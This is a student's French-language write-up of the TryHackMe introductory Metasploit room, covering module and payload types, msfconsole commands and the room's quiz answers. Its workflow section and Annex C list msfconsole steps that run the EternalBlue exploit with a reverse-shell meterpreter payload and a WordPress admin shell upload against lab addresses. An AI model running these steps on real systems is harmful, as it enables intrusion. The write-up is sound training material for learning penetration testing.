

RAPPORT TRYHACKME

Metasploit : Introduction

Résumé

Ce rapport documente la complétion du room TryHackMe "Metasploit : Introduction" qui présente les composants principaux du Metasploit Framework. Le room couvre les concepts fondamentaux comme les exploits, payloads, modules auxiliaires, et l'utilisation de msfconsole pour l'exploitation de vulnérabilités.

Objectifs d'apprentissage

- Comprendre l'architecture du Metasploit Framework
- Différencier les types de modules (exploit, payload, auxiliary, etc.)
- Maîtriser les commandes de base de msfconsole
- Configurer et exécuter des exploits
- Comprendre les différents types de payloads

Ibrahim Kakaev

Décembre 2025

Plateforme : TryHackMe

Room : Metasploit : Introduction

Difficulté : Facile

URL : <https://tryhackme.com/room/metasploitintro>

Table des matières

1	Introduction	2
1.1	Qu'est-ce que Metasploit ?	2
1.2	Versions de Metasploit	2
1.3	Composants principaux	2
1.4	Informations sur le Room	2
2	Task 1 : Introduction to Metasploit	3
2.1	Concepts clés	3
3	Task 2 : Main Components of Metasploit	4
3.1	Types de modules	4
3.2	Types de Payloads	4
3.3	Différencier Singles et Staged	4
3.4	Questions et Réponses	4
4	Task 3 : Msfconsole	6
4.1	Lancement de Metasploit	6
4.2	Commandes de base	6
4.3	Contextes de msfconsole	6
4.4	Questions et Réponses	6
5	Task 4 : Working with Modules	8
5.1	Paramètres communs	8
5.2	Workflow d'exploitation	8
5.3	Questions et Réponses	8
6	Task 5 : Summary	10
6.1	Processus d'exploitation	10
6.2	Compétences acquises	10
7	Récapitulatif des Réponses	11
7.1	Task 2 : Main Components	11
7.2	Task 3 : Msfconsole	11
7.3	Task 4 : Working with Modules	11
8	Annexes	12
8.1	Annexe A : Cheat Sheet Metasploit	12
8.2	Annexe B : Structure des modules	12
8.3	Annexe C : Exemples d'exploitation	13
8.4	Annexe D : Ressources	13

1 Introduction

1.1 Qu'est-ce que Metasploit ?

Metasploit est le framework d'exploitation le plus utilisé dans l'industrie. C'est un outil puissant qui supporte toutes les phases d'un test d'intrusion, de la collecte d'informations à la post-exploitation.

1.2 Versions de Metasploit

Metasploit Pro :

Version commerciale avec interface graphique (GUI). Facilite l'automatisation et la gestion des tâches.

Metasploit Framework :

Version open-source en ligne de commande. Installé par défaut sur Kali Linux et la plupart des distributions de pentest.

1.3 Composants principaux

- **msfconsole** : Interface principale en ligne de commande
- **Modules** : Exploits, scanners, payloads, etc.
- **Tools** : Outils standalone (msfvenom, pattern_create, pattern_offset)

1.4 Informations sur le Room

Nom : Metasploit : Introduction

Plateforme : TryHackMe

URL : <https://tryhackme.com/room/metasploitintro>

Difficulté : Facile

Nombre de Tasks : 5

Compétences : Metasploit, Exploitation, Pentest

2 Task 1 : Introduction to Metasploit

2.1 Concepts clés

Définitions importantes :

Exploit : Code qui exploite une vulnérabilité présente sur le système cible.

Vulnerability : Faiblesse ou faille dans un système permettant le vol de données ou l'exécution de commandes/code.

Payload : Code qui s'exécute sur le système cible pour atteindre l'objectif de l'attaquant (shell, backdoor, etc.).

Q1 : Read and deploy the machine.

R : No answer needed

3 Task 2 : Main Components of Metasploit

3.1 Types de modules

Module	Description
Auxiliary	Modules de support : scanners, crawlers, fuzzers
Encoders	Encodent l'exploit et le payload pour éviter la détection antivirus
Evasion	Tentent d'évader les solutions antivirus (succès variable)
Exploits	Code d'exploitation, organisé par système cible
NOPs	No OPeration - créent un buffer pour des tailles de payload cohérentes
Payloads	Code exécuté sur la cible (shell, meterpreter, etc.)
Post	Modules de post-exploitation

3.2 Types de Payloads

Adapters : Convertissent les payloads en différents formats.

Singles : Payloads autonomes qui n'ont pas besoin de télécharger de composant supplémentaire. Exemples : add-user, launch notepad.exe.

Stagers : Établissent une connexion réseau entre l'attaquant et la cible. Téléchargent ensuite le reste du payload (stage).

Stages : Téléchargés par les stagers. Permettent des payloads plus volumineux.

3.3 Différencier Singles et Staged

```
# Single payload (underscore "_")
generic/shell_reverse_tcp

# Staged payload (slash "/")
windows/x64/shell/reverse_tcp
```

3.4 Questions et Réponses

Q1 : What is the name of the code taking advantage of a flaw on the target system ?

R : exploit

Q2 : What is the name of the code that runs on the target system to achieve the attacker's goal ?

R : payload

Q3 : What are self-contained payloads called ?

R : singles

Q4 : Is "windows/x64/pingback_reverse_tcp" among singles or staged payload ?

R : singles

Explication : Le chemin du module contient un underscore (__) entre "pingback" et "reverse", ce qui indique un payload single. Les staged payloads utilisent un slash (/).

4 Task 3 : Msfconsole

4.1 Lancement de Metasploit

```
# Lancer msfconsole
msfconsole

# Lancer sans banniere
msfconsole -q

# Voir les options
msfconsole -h
```

4.2 Commandes de base

Commande	Description
help	Affiche l'aide générale
help <cmd>	Aide sur une commande spécifique
search <term>	Recherche de modules
use <module>	Sélectionne un module
info	Informations sur le module actuel
show options	Affiche les paramètres du module
show payloads	Liste les payloads compatibles
set <PARAM> <value>	Définit un paramètre
setg <PARAM> <value>	Définit un paramètre global
unset <PARAM>	Supprime un paramètre
run OU exploit	Exécute le module
back	Retourne au contexte précédent
sessions	Liste les sessions actives
background	Met la session en arrière-plan

4.3 Contextes de msfconsole

```
# Prompt normal (pas de module selectionne)
msf6 >

# Contexte d'un module
msf6 exploit(windows/smb/ms17_010_eternalblue) >

# Session Meterpreter
meterpreter >
```

4.4 Questions et Réponses

Q1 : How would you search for a module related to Apache ?

R : search apache

Q2 : Who provides the auxiliary/scanner/ssh/ssh_login module ?
R : todb

Pour trouver cette réponse :

```
msf6 > use auxiliary/scanner/ssh/ssh_login  
msf6 auxiliary(scanner/ssh/ssh_login) > info
```

La section "Provided by" montre : todb

5 Task 4 : Working with Modules

5.1 Paramètres communs

Paramètre	Description
RHOSTS	Adresse IP de la cible (Remote Host)
RPORT	Port de la cible
LHOST	Adresse IP de l'attaquant (Local Host)
LPORT	Port d'écoute de l'attaquant
PAYLOAD	Payload à utiliser
SESSION	ID de session (pour modules post-exploitation)

5.2 Workflow d'exploitation

```
# 1. Rechercher un exploit
msf6 > search eternalblue

# 2. Selectionner le module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# ou
msf6 > use 0

# 3. Voir les options
msf6 exploit(...) > show options

# 4. Configurer les parametres
msf6 exploit(...) > set RHOSTS 10.10.10.10
msf6 exploit(...) > set LHOST 10.10.10.5

# 5. Selectionner un payload (optionnel)
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 6. Executer
msf6 exploit(...) > exploit
# ou
msf6 exploit(...) > run
```

5.3 Questions et Réponses

Q1 : How would you set the LPORT value to 6666 ?

R : set LPORT 6666

Q2 : How would you set the global value for RHOSTS to 10.10.19.23 ?

R : setg RHOSTS 10.10.19.23

Q3 : What command would you use to clear a set payload ?

R : unset PAYLOAD

Q4 : What command do you use to proceed with the exploitation phase ?

R : `exploit`

6 Task 5 : Summary

6.1 Processus d'exploitation

Le processus d'exploitation avec Metasploit comprend trois étapes principales :

1. **Trouver l'exploit** : Utiliser `search` pour identifier les modules pertinents
2. **Personnaliser l'exploit** : Configurer les paramètres avec `set`
3. **Exploiter** : Lancer l'attaque avec `exploit` ou `run`

6.2 Compétences acquises

À la fin de ce room, vous savez :

- Naviguer dans `msfconsole`
- Comprendre les différents types de modules
- Différencier les payloads singles et staged
- Rechercher et sélectionner des exploits
- Configurer les paramètres d'un module
- Exécuter des exploits

Q1 : Read the above.

R : No answer needed

7 Récapitulatif des Réponses

7.1 Task 2 : Main Components

Question	Réponse
Code taking advantage of a flaw	exploit
Code that runs on target	payload
Self-contained payloads	singles
pingback_reverse_tcp type	singles

7.2 Task 3 : Msfconsole

Question	Réponse
Search for Apache module	search apache
ssh_login provider	todb

7.3 Task 4 : Working with Modules

Question	Réponse
Set LPORT to 6666	set LPORT 6666
Set global RHOSTS to 10.10.19.23	setg RHOSTS 10.10.19.23
Clear set payload	unset PAYLOAD
Proceed with exploitation	exploit

8 Annexes

8.1 Annexe A : Cheat Sheet Metasploit

Commandes essentielles :

```
# Lancement
msfconsole # Demarrer Metasploit
msfconsole -q # Mode silencieux

# Navigation
search <term> # Rechercher modules
use <module> # Selectionner module
info # Info sur module actuel
back # Revenir au contexte precedent

# Configuration
show options # Voir parametres
show payloads # Voir payloads compatibles
set <PARAM> <val> # Definir parametre
setg <PARAM> <val> # Parametre global
unset <PARAM> # Supprimer parametre
unsetg <PARAM> # Supprimer global

# Execution
exploit # Lancer l'exploit
run # Alias pour exploit
exploit -j # Lancer en arriere-plan

# Sessions
sessions # Lister sessions
sessions -i <id> # Interagir avec session
background # Mettre en arriere-plan
```

8.2 Annexe B : Structure des modules

```
/usr/share/metasploit-framework/modules/
|-- auxiliary/ # Scanners, fuzzers, etc.
| |-- scanner/
| |-- admin/
| |-- dos/
|-- encoders/ # Encodeurs de payload
|-- evasion/ # Modules d'evasion AV
|-- exploits/ # Exploits par OS/service
| |-- windows/
| |-- linux/
| |-- multi/
|-- nops/ # Generateurs NOP
|-- payloads/ # Payloads
| |-- singles/
| |-- stagers/
| |-- stages/
|-- post/ # Post-exploitation
    |-- windows/
    |-- linux/
```

```
|-- multi/
```

8.3 Annexe C : Exemples d'exploitation

```
# Exemple : EternalBlue (MS17-010)
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.10.10.10
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > exploit

# Exemple : WordPress Admin Shell Upload
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(...) > set RHOSTS 10.10.10.10
msf6 exploit(...) > set TARGETURI /wordpress
msf6 exploit(...) > set USERNAME admin
msf6 exploit(...) > set PASSWORD admin123
msf6 exploit(...) > exploit
```

8.4 Annexe D : Ressources

- **Metasploit Docs** : <https://docs.metasploit.com/>
- **Rapid7** : <https://www.rapid7.com/products/metasploit/>
- **GitHub** : <https://github.com/rapid7/metasploit-framework>
- **TryHackMe Room** : <https://tryhackme.com/room/metasploitintro>
- **Offensive Security** : <https://www.offensive-security.com/metasploit-unleashed/>

Notes importantes

❑ Avertissement légal

Metasploit est un outil d'exploitation puissant. Son utilisation est strictement réglementée par la loi :

- N'utilisez Metasploit que sur des systèmes que vous possédez
- Obtenez toujours une autorisation écrite avant tout test
- Les environnements de lab (TryHackMe, HackTheBox) sont autorisés
- L'utilisation non autorisée constitue un délit informatique

Bonnes pratiques :

- Toujours vérifier le contexte (prompt) avant d'exécuter
- Utiliser `setg` pour les paramètres récurrents (LHOST)
- Documenter toutes les actions effectuées
- Comprendre ce que fait chaque module avant de l'utiliser

Room complété avec succès

TryHackMe - Metasploit : Introduction

Ibrahim Kakaev
Décembre 2025

Dans le cadre d'une formation en cybersécurité